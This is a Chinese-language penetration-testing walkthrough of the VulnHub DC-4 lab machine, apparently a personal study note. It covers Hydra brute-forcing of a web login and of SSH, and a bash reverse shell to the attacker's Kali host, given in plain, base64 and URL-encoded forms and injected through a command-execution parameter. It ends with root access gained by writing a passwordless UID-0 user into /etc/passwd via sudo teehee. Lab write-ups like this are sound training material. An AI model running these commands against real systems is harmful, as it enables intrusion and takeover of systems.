VulnHub DC-4 靶机渗透测试笔记

0 阅读5分钟

VulnHub DC-4 靶机渗透测试笔记

靶机信息

  • 靶机名称:DC-4
  • 靶机来源:VulnHub
  • 目标:获取 root 权限,找到最终 flag
  • 难度:⭐⭐⭐☆☆(中等)
  • 涉及技术:信息收集、Web 密码爆破、命令注入、反弹 Shell、SSH 爆破、sudo 提权

一、信息收集

1.1 主机发现

ifconfig

本机 IP:192.168.168.128

nmap -sn 192.168.168.0/24

扫描结果

  • 192.168.168.1 → VM8 网卡
  • 192.168.168.2 → 网关
  • 192.168.168.128 → Kali 本机
  • 192.168.168.130 → 靶机 DC-4(后面出问题了,重装了一下,分配了169)
  • 192.168.168.254 → DHCP 服务器

1.2 端口与服务扫描

nmap -p- -A 192.168.168.130

开放了 22 和 80,80 是 Web 服务。


二、Web 信息收集

2.1 访问网站

访问目标网站,什么都没有:

页面源码也没什么:

2.2 目录扫描

dirsearch -u http://192.168.168.130/

好像也没什么:

插件也什么都没有:

2.3 检查 SSH 和 Nginx 版本漏洞

对了 SSH 和 Nginx 有没有版本漏洞?

感觉都不行,那只能爆破了。


三、Web 登录爆破

3.1 Burp Suite 爆破

bp 爆破用的 fuzzDicts 字典里的:

跑出来了:admin / happy

登录:

3.2 Hydra 爆破(更快)

还有这种简单的密码爆破,没有什么验证,可以使用 hydra 爆破,比 bp 快多了:

hydra -l admin -P rockyou.txt 192.168.168.169 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F

简单拆解如下

  • hydra: 启动爆破工具。
  • -l admin: 指定登录账号是 admin。
  • -P rockyou.txt: 使用 rockyou.txt 这个巨大的字典来试密码。
  • 192.168.168.130: 靶场的 IP 地址。
  • http-post-form: 告诉工具这是个网页登录表单。
  • "/login.php...S=logout":
    • 去 /login.php 页面试。
    • ^USER^ 和 ^PASS^ 就是爆破的内容
    • username 和 password 就是网页里面的表单值(一般是这样的,可以 F12 确定一下)
  • 关键点:如果登录后页面出现了 logout 这个词,说明登录成功了!
  • -F: 只要试对一个密码,就赶紧停下来。

很快,半分钟不要就跑出来了。

备注:这里遇到个问题,只有谷歌浏览器能登录账号密码,bp 内置的谷歌和 edge 都登不上,后来发现和 cookie 有关,能把谷歌里的 cookie 写到 bp 里就能重新登了,又是环境问题,重装了一下,全都好了,ip 变成了 169。


四、命令注入

4.1 发现命令执行功能

点击命令里面:

List Files:You have selected: ls -l

Disk Usage:You have selected: du -h

Disk Free:You have selected: df -h

4.2 抓包分析

bp 抓包:

radio=whoami 这就是个命令执行的地方。

4.3 反弹 Shell

bash -i >& /dev/tcp/192.168.168.128/5678 0>&1

base64 编码后发送:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2OC4xMjgvNTY3OCAwPiYx | base64 -d | bash

URL 编码版本:

echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE2OC4xMjgvNTY3OCAwPiYx%20%7C%20base64%20%2Dd%20%7C%20bash

Kali 监听:

nc -lvnp 5678

成功监听到:


五、后渗透信息收集

5.1 查看基础信息

5.2 sudo 权限查看

sudo -l 提示无 tty:

python -c 'import pty;pty.spawn("/bin/bash")'

再次输入 sudo -l:

需要密码,happy 密码错误(正确才奇怪,都不是同一个东西)。

5.3 SUID 文件查找

find / -perm -u=s 2>/dev/null

最后有一个 sh,得注意一下:/home/jim/test.sh

5.4 查看 /etc/passwd

cat /etc/passwd

找到点信息,exim4 有很多已知提权漏洞:

查看到有三个用户:

charles、jim、sam

5.5 翻查用户目录

分别看看里面有什么:

cat test.sh

"学 bash 吧,他们说。" "bash 很好用,他们说。" "但我宁愿用头撞墙。"

没什么用。

mbox 没权限:

有个密码备份:

cat old-passwords.bak

一个密码本,内容不是很多,直接鼠标复制。


六、SSH 爆破

6.1 创建用户名字典

echo -e "jim\ncharles\nsammy" > users.txt
  • -e 参数是为了把 \n 识别为换行(转义符)
  • > 为覆盖
  • >> 为追加

6.2 Hydra 爆破 SSH

hydra -L users.txt -P ./passwd.txt 192.168.168.169 ssh

hydra 常用参数:

参数说明
-l指定单个用户名
-L指定用户名字典文件
-p指定单个密码
-P指定密码字典文件
-t并发线程数(默认16,SSH建议4)
-v显示详细过程
-o结果保存到文件
-s指定端口

爆破出一个:

login: jim password: jibril04


七、SSH 登录与横向移动

7.1 登录 jim

ssh jim@192.168.168.169

连接上了,没有 sudo 可用。

7.2 查看邮件

看一下之前打不开的 mbox:

去邮箱里找,之前找到过 exim4 服务:Debian-exim:x:108:112::/var/spool/exim4:/bin/false

/var/spool/exim4 无权限进不去:

计划任务也没权限看:

mail 里面有个 www-data 没权限看,只能看 jim:

在邮件里找到密码:Password is: ^xHhA&hvim0y

7.3 切换到 charles

su - charles 和 su charles 的区别:

  • su charles → 切换用户,但保留当前环境变量和目录
  • su - charles → 切换用户,同时加载 charles 的完整登录环境(PATH、HOME等全部重置)
su - charles
sudo -l

找到 teehee。


八、teehee 提权

还想在 gtfobins.org/ 里找的,结果找不到,那就去网上搜:

teehee 是 tee 命令的变种,可以把内容写入文件,如果有 sudo 权限执行它,就能以 root 身份往 /etc/passwd 写入新用户:

echo "hack::0:0:hack:/root:/bin/bash" | sudo teehee -a /etc/passwd

这行意思是添加一个**没有密码、UID 为 0(root权限)**的用户 hack,然后:

su hack
whoami  # root

成功拿到 flag:


九、渗透流程总结

信息收集(nmap)
    ↓
发现 Web 登录页 → Burp Suite / Hydra 爆破 → admin/happy
    ↓
命令执行功能 → 反弹 Shell → www-data
    ↓
/home/jim/backups/old-passwords.bak → Hydra 爆破 SSH → jim/jibril04
    ↓
jim 邮件中发现密码 → 切换 charles
    ↓
sudo teehee → 写入 /etc/passwd → root → flag ✅

十、涉及工具汇总

工具用途
nmap端口扫描、服务识别
dirsearchWeb 目录扫描
Burp Suite抓包、密码爆破
HydraWeb 表单 / SSH 密码爆破
nc反弹 Shell 监听
teeheesudo 提权写入 /etc/passwd

本文为 VulnHub DC-4 靶机学习笔记,所有操作均在本地搭建的靶场环境中完成,仅用于学习交流。